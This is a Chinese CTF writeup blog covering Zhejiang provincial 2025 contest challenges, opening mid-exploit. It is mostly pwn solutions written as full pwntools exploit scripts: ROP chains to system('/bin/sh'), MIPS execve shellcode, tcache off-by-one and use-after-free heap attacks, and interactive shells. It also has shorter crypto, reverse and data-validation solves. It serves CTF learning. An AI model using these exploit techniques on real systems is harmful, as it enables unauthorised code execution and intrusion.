 s2.send(b"\x00" * 0x7C + p32(4))
 time.sleep(0.5)
 # stop("send data from s2")

 # 由于socket的分配机制，这里实际分配到的仍然是供给s2的fd，但是不是4，作为缓冲
 s3 = start_con()
 time.sleep(0.1)
 # stop("get a new fd")

 # fd=4 被重用: 用来接收 Leak
 s4 = start_con()
 time.sleep(0.1)

 VIO_TEXT("Triggering leak via s4...")
 s4.send(p64(0x100))
 s4.send(b"\x00" * 0x7C + p32(1))
 time.sleep(0.25)

 # 2. 触发 RST 以激活漏洞/错误路径
 # 这里设置SOLSOCKET为SO_LINGER 并关闭 s1，会导致发送 RST 包
 # l_onoff = 1
 # l_linger = 0
 # 这里可以写struct.pack("ii", l_onoff, l_linger) 在64位机器上通常是 8 字节，符合 p32(1)+p32(0)
 s1.sock.setsockopt(
 socket.SOL_SOCKET, socket.SO_LINGER,p32(1)+p32(0)
 )
 s1.sock.close()
 CLEAR_TEXT("s1 closed with RST")

 # 3. 接收并解析 Leak 数据
 # 服务端会将栈上0x100字节数据发送回来，其中包含了 Canary 和 libc 地址
 try:
 leak_data = s4.recv(0x100)

 # stop("fd 4-->1")
 if len(leak_data) < 0x90:
 log.error(f"Leak failed, received len: {len(leak_data)}")
 return

 canary = u64(leak_data[0x48:0x50])
 CLEAR_TEXT(f"Canary: {hex(canary)}")

 elf_base = u64(leak_data[0x58:0x60]) - 0x147e
 CLEAR_TEXT(f"ELF Base: {hex(elf_base)}")

 libc_base = u64(leak_data[0x88:0x90]) - 0x9c720 - 900
 CLEAR_TEXT(f"Libc Base: {hex(libc_base)}")
 libc.address = libc_base

 except EOFError:
 log.error("Unexpected EOF during leak")
 return

 # 4. Get Shell 
 # 通过覆盖实现 关闭 fd 0 和 1 
 s_temp = start_con()
 s_temp.send(p64(0x100))
 s_temp.send(b"\x00"*0x7c + p32(0))
 time.sleep(0.1)
 s_temp.close() # 保持连接

 s_temp2 = start_con()
 s_temp2.send(p64(0x100))
 s_temp2.send(b"\x00"*0x7c + p32(1))
 time.sleep(0.1)
 s_temp2.close()

 # 服务端重新accept了连接分配到了 fd=0, fd=1
 # 这样我们就能控制 stdin/stdout
 ret_addr=elf_base+0x101a,
 stdin_sock = start_con()
 stdout_sock = start_con()

 VIO_TEXT("Sending ROP chain...")

 payload = b"A" * 0x48
 payload += flat([
 canary,
 0xdeadbeef,
 libc.search(asm('pop rdi; ret')).__next__(),
 libc.search(b"/bin/sh").__next__(),
 ret_addr,
 libc.sym['system']
 ])
 stdin_sock.send(p64(len(payload)))
 time.sleep(0.1)
 stdin_sock.send(payload)

 time.sleep(0.1)
 stdin_sock.sendline(b"ls")
 print(stdout_sock.recv(4096))
 def listner():
 while True:
 try:
 print("\n")
 data = stdout_sock.recv(4096)
 if data:
 sys.stdout.buffer.write(data)
 sys.stdout.flush()
 except exception:
 pass
 t=threading.Thread(target=listner,daemon=True)
 t.start()
 while True:
 cmd = input("[nan0in27 sh]$ ")
 stdin_sock.sendline(cmd.encode())
 # print(stdout_sock.recv().decode(errors='ignore'))

if __name__ == "__main__":
 main()

still in updating

2025浙江省网络与信息安全决赛WP

Tue, 18 Nov 2025 16:06:00 +0000

前言

本次比赛与Vortex 和mak4r1 一起完成！感谢拼尽全力的两位师傅！

pwn第一题没有mips环境导致很快写完了却没法汇编shellcode，第二题又因为中途太紧张了分析成了依托，实际上逻辑盘的也差不多了，但是比赛为了其他方向的分又没专心做…导致最后仅仅差了10分与省一，教训就是一定要稳住心态，也不能因为分数的变动和排名的摇摆而出现心态的恍惚…总之好好吸取教训

2025省赛决赛

misc

misc1

十六进制中有换表base,用7z打开末尾的附加文件可以看到flag.txt:c.txt

解密flag即可

pwn（仅复现）

mips

保护

一个mips异构的pwn

qemu进行运行

会

给出一个v1的地址，可以栈溢出

ra会放返回地址

实际上是有假canary的，可以溢出到返回地址

要把这一行原本的arm64改为arm才能出gadget

此处read溢出到返回地址

拿python生成一下shellcode，栈是可执行的！可以直接写shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "mips"
local_addr = "localhost"
local_port = "1234"
remote_addr = "10.1.100.100"
remote_port = "9999"
context.terminal = ["tmux", "splitw", "-h"]

context(log_level="debug", os="linux", arch=arch,endian="big")

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
 io = process(['qemu-mips','-g','1234','./pwn']) #在另一个终端起gdb运行交互
 # gdb.attach(io,gdbscript="""
 # set architecture mips
 # target remote:1234
 # """)
elif args.mode == 1:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)

io.sendline(b"255")
io.recvuntil(b"gift: ")
stack_addr= int(io.recvuntil(b"\n",drop=True),16)
VIO_TEXT("Stack address leak: "+hex(stack_addr))
shellcode=asm("""
 lui $t7, 0x2f2f
 ori $t7, $t7,0x6269
 lui $t6, 0x6e2f
 ori $t6, $t6, 0x7368
 sw $t7, -12($sp)
 sw $t6, -8($sp)
 sw $zero, -4($sp)
 addiu $a0, $sp, -12
 slti $a1, $zero, -1
 slti $a2, $zero, -1
 li $v0, 4011
 syscall
""")
CLEAR_TEXT("Shellcode length: "+str(len(shellcode))+" bytes")
payload = cyclic(40+4)+p32(stack_addr+40+4)+shellcode #0覆盖返回地址,ja跳转到stack_addr+0x48即shellcode起始位置
io.sendline(payload)
io.interactive()

calc

保护

由于实现了一个stack，在这片空间上我们可以利用操作符进行溢出，但是只能输入一次，要精心构建payload，如果我们++两次，那么就会直接触发到canary从而stack smashed

我们没有输入的时候可以看到在最后退出的时候如上正常返回

如果输入一个+的情况下会因为多清理一次栈而导致变为0从而指向0-8，这时候需要回去看具体的逻辑才可以。难受的是符号全剥去了，不过好在结构体还比较好逆，实际上程序模拟实现了两个栈，分别装载操作数和操作符

程序还原

逆向完后主要有的函数为:

操作数的出入栈操作符的出入栈以及查看当前栈顶操作符

在push和pop的部分存在漏洞

vuln

push部分对于操作数栈的sp的类型转换为int,因此可以实现负数的绕过

而pop部分始终会执行–的操作，即使检查无法通过也不会报错，这就导致可以正常返回，从而覆盖到栈上的信息，而在进入函数之前刚好就是0，所以我们直接输入+的话，就会如下图

如图，pop导致对数值的清空，从而直接将0写到了返回地址，同理如果输入两个++

canary也直接变为了0

那么就有如下的构建执行链的思路

通过one_addr++，这种情况下数字进入实现push,而++会pop两次，从而-1就写到了返回地址，比如12345++
然后如何构建链条呢？注意到程序里是有符号优先级的
并且符号)的处理也存在大问题，正常的解决括号顺序应该就是遇到)的时候往前组合存在的式子，然后直到遇到(的时候把其pop出来;但是看到下图

遇到)的时候，实际上陷入到了while(1)循环当中，v11由上一次的Peek得到，若为(则会继续走pop分支

这就给了我们继续往下写的一个思路，我们的程序在检测完前面的首先不能让括号里的内容为空，随便放一个数字进去，诶这个时候有人就要问了，那如果后面的先进行了怎么让-1的覆盖和rop链共存呢？这个可以根据具体的位置进行调试，当然我对payload也画了具体构架的思路

按照逻辑，直到遇到之前的++我们的while都不会退出，伴随着(我们的地址进入栈中，但注意此时还是没有覆盖到返回地址的，准备好之后最后再执行到ret++的部分，此时不就实现了-1开始的链条覆盖了吗？

那么就可以构建出如下的exp

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 b *0x40230B
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename,checksec=False)
libc = ELF(libc_name,checksec=False)

def chain(addr1:bytes,addr2:bytes,addr3:bytes,addr4:bytes):
 payload=addr1+b"++"
 payload+=flat(addr2,b"*(",addr3,b"*(",addr4,b"*(1)")
 return payload

# leak libc
ret_addr= 0x40101a
pop_rdi_ret=0x402330
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload=chain(str(pop_rdi_ret).encode(),str(puts_got).encode(),str(puts_plt).encode(),str(0x401535).encode())
io.sendlineafter(b"input:\n",payload)

# rop 
io.recvuntil(b"1\n")
leak = u64(io.recv(6).ljust(8,b"\x00"))-0x84420
VIO_TEXT(f"leak puts addr: {hex(leak)}")

system_addr=leak+libc.symbols['system']
binsh_addr=leak+next(libc.search(b"/bin/sh"))
payload=chain(str(ret_addr).encode(),str(pop_rdi_ret).encode(),str(binsh_addr).encode(),str(system_addr).encode())
io.sendlineafter(b"input:\n",payload)
io.interactive()

‍

only_one

保护：

有增删和一次free

glibc为2.31

delete会清零指针，无uaf

add会检测chunk_ptr指向的地方有无堆块存在，index不能写负数，所以改不到负数的结构体？

跟预赛好像是类似的，最多20次申请，size小于0x100,那么就是unsorted bin和tcache bin的利用

但是有一次不清理指针的free来进行唯一double free

来不及写

crypto

rsa

给出了diff和sum，根据diff和sum可以求出p,q。之后就是正常RSA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


from z3 import *
from Crypto.Util.number import *

# 已知值
sum_pq = 15870713655456272818998868095126610389501417235762009793315127525027164306871912572802442396878309282140184445917718237547340279497682840149930939938364752
diff_pq = 836877201325346306269647062252443025692393860257609240213263622058769344319275021861627524327674665653956022396760961371531780934904914806513684926008590
e = 65537
c = 24161337439375469726924397660125738582989340535865292626109110404205047138648291988394300469831314677804449487707306159537988907383165388647811395995713768215918986950780552907040433887058197369446944754008620731946047814491450890197003594397567524722975778515304899628035385825818809556412246258855782770070

# 声明两个整数变量
p, q = Ints('p q')

# 建立约束方程
s = Solver()
s.add(p + q == sum_pq)
s.add(p - q == diff_pq)

# 求解
if s.check() == sat:
 model = s.model()
 p_val = model[p].as_long()
 q_val = model[q].as_long()
 print(f"p = {p_val}")
 print(f"q = {q_val}")

 # 构造 n 和 phi
 n = p_val * q_val
 phi = (p_val - 1) * (q_val - 1)

 # 计算私钥 d
 d = inverse(e, phi)

 # 解密
 m = pow(c, d, n)
 flag = long_to_bytes(m)
 print(f"flag = {flag}")
else:
 print("No solution found.")

数据安全

check1

检验方法均已给出，根据检测方式进行提取编写：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95


import re
import csv
from datetime import datetime

# 身份证校验码算法
def validate_id_card(id_card):
 if len(id_card) != 18:
 return False
 if not re.match(r'^\d{17}[\dXx]$', id_card):
 return False

 # 校验码算法
 weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
 check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
 sum_val = sum(int(id_card[i]) * weights[i] for i in range(17))
 check_code = check_codes[sum_val % 11]
 return id_card[-1].upper() == check_code

# 验证手机号
def validate_phone(phone):
 return re.match(r'^1\d{10}$', phone) is not None

# 验证姓名（2~4个汉字）
def validate_name(name):
 return re.match(r'^[\u4e00-\u9fa5]{2,4}$', name) is not None

# 验证出生日期是否与身份证一致
def validate_birth_date(id_card, birth_date):
 try:
 birth_str = id_card[6:14]
 expected = datetime.strptime(birth_str, '%Y%m%d').strftime('%Y-%m-%d')
 return expected == birth_date
 except:
 return False

# 验证性别是否与身份证一致
def validate_gender(id_card, gender):
 try:
 gender_digit = int(id_card[16])
 if gender_digit % 2 == 0:
 expected = '女'
 else:
 expected = '男'
 return gender == expected
 except:
 return False

# 主函数
def process_users(data_file, output_file):
 valid_users = []

 with open(data_file, 'r', encoding='utf-8') as f:
 reader = csv.reader(f)
 next(reader) # 跳过标题行
 for row in reader:
 if len(row) < 8:
 continue
 cust_id, name, id_card, gender, phone, birth_date, reg_time, login_time = row

 # 各项验证
 if not validate_id_card(id_card):
 continue
 if not validate_gender(id_card, gender):
 continue
 if not validate_birth_date(id_card, birth_date):
 continue
 if not validate_phone(phone):
 continue
 if not validate_name(name):
 continue

 # 时间逻辑验证
 try:
 birth_dt = datetime.strptime(birth_date, '%Y-%m-%d')
 reg_dt = datetime.strptime(reg_time, '%Y-%m-%d %H:%M:%S')
 login_dt = datetime.strptime(login_time, '%Y-%m-%d %H:%M:%S')

 if birth_dt >= reg_dt or reg_dt > login_dt:
 continue
 except:
 continue

 valid_users.append(row)

 # 写入结果文件
 with open(output_file, 'w', newline='', encoding='utf-8') as f:
 writer = csv.writer(f)
 writer.writerow(['客户ID', '姓名', '身份证号', '性别', '手机号', '出生日期', '注册时间', '最后登录时间'])
 writer.writerows(valid_users)

 print(f"共提取出 {len(valid_users)} 条合规数据，已保存到 {output_file}")

# 示例调用
if __name__ == "__main__":
 process_users("users.csv", "valid_users.csv")

最后提取出文件

‍

reverse

天命人

根据算法dump出解密即可

1
2
3
4
5
6


cipher = [0x44,0x40,0x51,0x40,0x50,0x43,0x7d,0x3e,0x38,0x6c,0x3a,0x3f,0x3e,0x6f,0x38,0x6d,0x23,0x21,0x24,0x20,0x2d,0x74,0x20,0x74,0x2c,0x2f,0x2e,0x28,0x25,0x25,0x78,0x2d,0x12,0x43,0x44,0x47,0x10,0x15,0x40,0x5a]

flag = []

for i in range(0, len(cipher)):
 print(chr(cipher[i] ^ i),end='')

Androidtest

fridahook字符串得到换过表的base64
lib中可以看到ret_str函数,从中dump出数据换表后异或即可

1
2
3
4
5
6


Java.perform(function() {
    var MainActivity = Java.use("com.example.myapplication.MainActivity")

    var str = MainActivity.z;
    console.log("str is:" + str);
})

ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=
用cyberchef解密即可

DASCTF{android_anti_and_test_is_interesting}

AI

dog

肉眼一张一张看过去的

26c39cf8-55fb-4899-82bc-442cf4627d95.jpg+6e17fffa-b696-4769-9b43-e0f453f8098d.jpg+7a19da17-9f4a-411b-bac7-83d2454d868a.jpg+897a3a87-dfcf-4233-8097-6bba2e6507ba.jpg+c6b1099a-d626-4cbd-94fc-32aa46ffb02b.jpg+d5117480-7943-48f8-9e79-67fdd51092d2.jpg
然后md5计算

‍

2025浙江省网络与信息安全预赛pwn复盘

Sat, 08 Nov 2025 21:14:00 +0000

2025省赛

pwn

rop

保护，没有开启PIE

程序剥离了符号

在输入数字的地方会把字符转化为longlong

并且没有检测负数，可以用于泄漏地址

似乎存在一个函数可以往eax里写入极大数字

output会在输出内容后将该位置内容重新设置为0

打入-3即可泄漏canary，会清0导致EOF

但是可以绕过canary吧，这样就能构建ROP链了，有没有办法写到*(a1+72)呢

注意到v2<=9都可以输入，那么不是刚好可以写入到a1+72吗？那将a1+72篡改到-1后输入rop链条是否可以

因此我们先leak出残留在栈上中的一个libc后，将rop链条写到数组里，最后将-1覆盖为ret执行ROP即可（不用leak canary)

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc-2.31.so"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "30141"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x40144B
 b *0x401466
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))

def cmd(num):
 sla(b">>", str(num).encode())

def input(num):
 sla(b">>", b"1")
 sla(b"number:", str(num).encode())

def output(idx):
 sla(b">>", b"2")
 sla(b"index:",str(idx).encode())

def exit():
 sla(b">>", b"3")

for i in range(9):
 input(1)

# -1的时候刚好可以改到retaddr
input(0)


output(-13)
ru(b"your number:\n")
puts_leak=int(rl(drop=True),10)
libc_addr=u64(p64(puts_leak))-0x8459a
VIO_TEXT(f"libc_addr: {hex(libc_addr)}")

one_gadgets=[0xe3afe,0x3eb01,0xe3b04]
one_gadget=libc_addr+one_gadgets[2]
VIO_TEXT(f"one_gadget: {hex(one_gadget)}")

# pop_rdi_ret=libc.address+next(libc.search(asm('pop rdi; ret')))
pop_rdi_ret=0x401563
binsh_addr = libc_addr+ next(libc.search(b"/bin/sh\x00"))
system_addr=libc_addr+libc.sym['system']

ret_addr=0x40101a

# input(one_gadget)

input(pop_rdi_ret)
input(binsh_addr)
input(system_addr)
for i in range(9-3):
 input(1)
input(-2)
input(ret_addr)

ia()

one

程序员在为新能源汽车编写程序时犯了一个致命的错误，你能帮他找出来吗？

保护全开

设置好login登录后是一个指令程序

增删改测试和退出

删除会检查链表是否为空以及v1是否大于8,防止double free和越界，并且对指针进行了置空，无法UAF，并且转化为了unsigned long long,无法负数访问

同样其他几个函数也没有对应的检测到负数

来看cre4t函数

edit函数也差不多

‍

v1的范围在0到8之间，我们最多能分配9个堆块

create的read

test的read可以多读取一个字节，可以打off by one

先控制unsorted bin,通过fd泄漏出libc地址

题目没有给出libc,但是strings可以找到

ubuntu 18.04–>glibc2.27

自行进行patchGNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.

首先要构造堆风水实现overlapping（通过off by one），然后将__free_hook写入

问题在于要打掉什么地址写入_free_hook，我们没有uaf，chunk数量也有限难以走非tcache打法以及控制unsorted bin

那我们就打tcache bin的off by one，布置4个chunk

先释放出两个chunk进入tcache bin来链入两个chunk，

‍

此时我们从伪造的overlapping chunk的部分开始写可以写入到下方0x40的tcache bin的内容，我们便可以在此时写入一个__free_hook，最后再申请两次，就可以拿freehook写了

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains

def cmd(idx):
 sl(str(idx).encode())


def create(idx, size, content):
 cmd(1)
 sla(b"command?", str(idx).encode())
 sla(b"command?", str(size).encode())
 sla(b"command?", content)
 sleep(0.1)


def edit(idx, content):
 cmd(4)
 sla(b"one?", str(idx).encode())
 sla(b"change?", content)


def test(idx):
 cmd(3)
 sla(b"one", str(idx).encode())
 return ru(b"Finish!", drop=False)


def delete(idx):
 cmd(2)
 sla(b"one?", str(idx).encode())


# auto login
ru(b"rebot.\n")
data = (rl(drop=True).split(b" ")[-1].replace(b"?", b"").replace(b"=", b"")).decode()
print(data)
sl(str(eval(data)).encode())

# test create
size1 = 0x38
pay1 = b"aaaa"
# leak libc with unsoreted bin
create(8, 0x410, pay1)
create(7, size1, pay1) # avoid consolidation
delete(8)
create(8, 0x410, b"1") # leak the fd pointer

data = u64(p64(u32(test(8)[4:8]) << 16).ljust(8, b"\x00")) # creating will show information of remained pointer
VIO_TEXT(f"leak libc addr: {hex(data)}")
libc.address = data - 0x3E0000
VIO_TEXT(f"system addr: {hex(libc.symbols['system'])}")
# print(hexdump(data))

# try to layout heap and make overlap
for i in range(4):
 create(i, size1, pay1)

# pause()
delete(3)
delete(2) # 2->3 tcache

edit(0, b"/bin/sh\x00".ljust(0x38, b"\x00") + p8(0x81)) # off by one to 2
delete(1) # 1 and 2 are all in one bin now

create(
 1,
 0x78,
 flat(
 {
 0x30:[
 0,
 0x41,
 libc.symbols["__free_hook"],
 ]
 },
 filler=b"\x00",
 ),
)

# 2->3 has been changed to 2->__free_hook

create(5,size1,pay1) # let 2 out
create(6,size1,p64(libc.symbols["system"])) # overwrite __free_hook with system 
delete(0) # trigger system("/bin/sh")
ia()

‍

bad_heap

禁止在libc中的堆

保护全开

有增删查三项的菜单堆

增，题目含义体现在这里，如果堆空间分配到了libc地址上程序直接退出

版本是glibc2.35

删，存在uaf

查，正常的打印内容，但是因为uaf可以打印free的区域内容

那就不能劫持IO_list_all了，有uaf可以先尝试overlapping写，可以分配到21个chunk，足够了

先通过uaf leak libc和heap key来使得可以写入合理地址到堆

然后构造overlapping，想办法劫持fd到environ从而Leak stack地址后再通过布置堆空间劫持返回地址到rop链

看到也有走house of botcake打libc泄漏的，不过感觉好像不用也没问题

‍

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def cmd(idx):
 sla(b"choice:\n", str(idx).encode())


def add(idx, size, content):
 cmd(1)
 sla(b"idx:\n", str(idx).encode())
 sla(b"size:\n", str(size).encode())
 sa(b"content:\n", content)


def delete(idx):
 cmd(2)
 sla(b"idx:\n", str(idx).encode())


def show(idx):
 cmd(3)
 sla(b"idx:\n", str(idx).encode())


for i in range(10):
 add(i, 0x100, b"a")

for i in range(7):
 delete(i) # fill tcache 0-6 

show(0)
key = u64(rc(8)) # leak heapbase key 
VIO_TEXT(f"key: {hex(key)}")

delete(8)
delete(7) # 合并到unsorted bin
show(7) # unsorted bin leak libc
libc.address = u64(rc(8)) - 0x21ACE0
VIO_TEXT(f"libc.address: {hex(libc.address)}")

for i in range(6):
 add(i, 0x100, b"aaaa") # fill tcache 6

add(7, 0x120, b"aaaa") # 7 but overlapping 8
add(10, 0xE0, b"aaaa") # 8 & 10

delete(0)
delete(8)
delete(7)

add(
 7, 0x120, b"\x00" * 0x108 + p64(0x111) + p64((libc.sym['environ'] - 0x10) ^ key)
) # write in environ to fd，由于overlapping,实际写入到8中 tcache取head,-0x10

add(8, 0x100, b"aaaa")

add(11, 0x100, b"a" * 0x10)
show(11)
ru(b"a" * 0x10)
stack = u64(rc(8)) - 0x148
VIO_TEXT(f"stack: {hex(stack)}") # leak stack and get the ret_addr

system_addr = libc.sym['system']
ret_addr = libc.address + 0x29139
binsh_addr = next(libc.search(b"/bin/sh\x00"))
pop_rdi = libc.address + 0x2A3E5
payload = flat(pop_rdi, binsh_addr, ret_addr, system_addr)

delete(1) #avoid consolidation
delete(8)
delete(7)
pause()
add(7, 0x120, b"\x00" * 0x108 + p64(0x111)+p64((stack) ^ key)) # write in ret_addr to fd

add(1,0x100,b"aaaa")
pause()
add(8,0x100,b'a'*8+payload) # overwrite ret_addr with ROP chain

ia()

FILE101

Thu, 23 Oct 2025 19:26:00 +0000

分析

保护如上给出了源码main.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


#include <stdio.h>

void main() {
 setbuf(stdin, NULL);
 setbuf(stdout, NULL);
 puts("stdout:");
 scanf("%224s", (char*)stdout);
 puts("stderr:");
 scanf("%224s", (char*)stderr);
}

GLIBC版本为2.39，scanf直接向stdout和stderr中写入数据，可以打house of cat或house of apple2

house of apple2的打法
因为有两次输入，所以先覆写低字节leak出libc地址stdout._IO_write_basestdout
这题需要进行特殊处理，因为scanf遇到空格会停止，所以设置_flags为aa;sh\x00 并且这题覆盖不到vtable指针（0xe0>224)，因此只能打的时候将_wide_data写为fakefile-0x10

 1
 2
 3
 4
 5
 6
 7
